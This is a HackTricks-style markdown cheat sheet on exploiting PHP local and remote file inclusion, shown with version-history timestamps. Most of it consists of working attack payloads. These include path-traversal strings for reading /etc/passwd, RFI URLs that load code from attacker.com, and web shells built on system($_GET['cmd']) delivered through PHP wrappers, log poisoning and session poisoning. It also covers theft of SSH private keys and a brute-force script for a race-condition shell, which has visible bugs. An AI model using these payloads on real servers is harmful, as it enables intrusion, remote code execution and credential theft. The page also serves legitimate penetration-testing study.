hacktricks/pentesting-web/file-inclusion.md

388 lines
14 KiB
Markdown
Raw Normal View History

# File Inclusion/Path traversal
## File Inclusion
**Remote File Inclusion \(RFI\):** The file is loaded from a remote server \(Best: You can write the code and the server will execute it\). In php this is **disabled** by default \(**allow\_url\_include**\).
**Local File Inclusion \(LFI\):** The sever loads a local file.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
Vulnerable **PHP functions**: require, require\_once, include, include\_once
A interesting tool to exploit this vulnerability: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
### **Linux**
**Mixing several \*nix LFI lists and adding more paths I have created this one:**
2020-10-26 19:35:20 +00:00
{% file src="../.gitbook/assets/lfi2.txt" %}
A list that uses several techniques to find the file /etc/password \(to check if the vulnerability exists\) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Using theses lists and deleting repetitions I have created a new one:
* [https://raw.githubusercontent.com/soffensive/windowsblindread/master/windows-files.txt](https://raw.githubusercontent.com/soffensive/windowsblindread/master/windows-files.txt)
* [https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/](https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal)
* [https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt](https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt)
* [http://awesomehackers.org/2018/05/11/path-traversal-cheat-sheet/](http://awesomehackers.org/2018/05/11/path-traversal-cheat-sheet/)
{% file src="../.gitbook/assets/winlfi.txt" %}
A list that uses several techniques to find the file /boot.ini \(to check if the vulnerability exists\) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Check the LFI list of linux.
## Basic LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also \(page=http://myserver.com/phpshellcode.txt\).
```text
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences stripped non-recursively
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte \(%00\)**
Bypass the append more chars at the end of the provided string \(bypass of: $\_GET\['param'\]."php"\)
```text
http://example.com/index.php?page=../../../etc/passwd%00
```
This is **solved since PHP 5.4**
### **Encoding**
You could use non-standard encondings like double URL encode \(and others\):
```text
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### From existent folder
Maybe the back-end is checking the folder path:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### **Path truncation**
Bypass the append of more chars at the end of the provided string \(bypass of: $\_GET\['param'\]."php"\)
```text
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
```
```text
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Always try to **start** the path **with a fake directory** \(a/\).
**This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks**
```text
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
```
## Basic RFI
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
2020-07-29 09:22:22 +00:00
## Top 25 parameters
Heres list of top 25 parameters that could be vulnerable to local file inclusion \(LFI\) vulnerabilities \(from [link](https://twitter.com/trbughunters/status/1279768631845494787)\):
```text
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers
### Wrapper php://filter
#### Base64 and rot13
The part "php://filter" is case insensitive
```text
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```
#### zlib \(compression\)
Can be chained with a **compression** wrapper for large files.
```text
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```
To read the comppression data you need to decode the base64 and read the resulting data using:
```bash
php -a #Starts a php console
readfile('php://filter/zlib.inflate/resource=test.deflated');
```
**NOTE: Wrappers can be chained**
### Wrapper zip://
Upload a Zip file with a PHPShell inside and access it.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
```
### Wrapper data://
```text
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
### Wrapper expect://
Expect has to be activated. You can execute code using this.
```text
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### Wrapper input://
Specify your payload in the POST parameters
```text
http://example.com/index.php?page=php://input
POST DATA: <? system('id'); ?>
```
### Wrapper phar://
Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
## LFI2RCE
2020-12-27 12:29:29 +00:00
### Basic RFI
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
### Via Apache log file
If the Apache server is vulnerable to LFI inside the include function you could try to access to _**/var/log/apache2/access.log**_, set inside the user agent or inside a GET parameter a php shell like `<?php system($_GET['c']); ?>` and execute code using the "c" GET parameter.
Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
2020-12-27 12:29:29 +00:00
This could also be done in other logs but b**e careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
### Via Email
Send a mail to a internal account \(user@localhost\) containing `<?php echo system($_REQUEST["cmd"]); ?>` and access to the mail _**/var/mail/USER&cmd=whoami**_
### Via /proc/\*/fd/\*
1. Upload a lot of shells \(for example : 100\)
2020-12-27 12:29:29 +00:00
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process \(can be brute forced\) and $FD the file descriptor \(can be brute forced too\)
### Via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
```text
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
If you can upload a file, just inject the shell payload in it \(e.g : `<?php system($_GET['c']); ?>` \).
```text
http://example.com/index.php?page=path/to/uploaded/file.png
```
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
### Via Zip fie upload
Upload a ZIP file containing a PHP shell compressed and access:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sessions
Check if the website use PHP Session \(PHPSESSID\)
```text
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP these sessions are stored into _/var/lib/php5/sess\_\[PHPSESSID\]_ files
```text
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to `<?php system('cat /etc/passwd');?>`
```text
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Use the LFI to include the PHP session file
```text
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
If ssh is active check which user is being used \(/proc/self/status & /etc/passwd\) and try to access **&lt;HOME&gt;/.ssh/id\_rsa**
2020-12-23 09:40:41 +00:00
### **Via** **vsftpd** _**logs**_
The logs of this FTP server are stored in _**/var/log/vsftpd.log.**_ If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.
### Via phpinfo\(\) \(file\_uploads = on\)
To exploit this vulnerability you need: **A LFI vulnerability, a page where phpinfo\(\) is displayed, "file\_uploads = on" and the server has to be able to write in the "/tmp" directory.**
[https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py)
**Turotial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
You need to fix the exploit \(change **=&gt;** for **=&gt;**\). To do so you can do:
```text
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
You have to change also the **payload** at the beginning of the exploit \(for a php-rev-shell for example\), the **REQ1** \(this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1\r_\), and **LFIREQ** \(this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char\)
{% file src="../.gitbook/assets/lfi-with-phpinfo-assistance.pdf" %}
#### Theory
If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
In **Windows** the files are usually stored in **C:\Windows\temp\php&lt;&lt;**
In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig\(\)**".
**phpinfo\(\)**
**PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** \(using big headers\) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo\(\) to be returned** \(where the name of the temporary file is\) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability.
**Python script to try to bruteforce the name \(if length = 6\)**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
### References
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../.gitbook/assets/en-local-file-inclusion-1.pdf" %}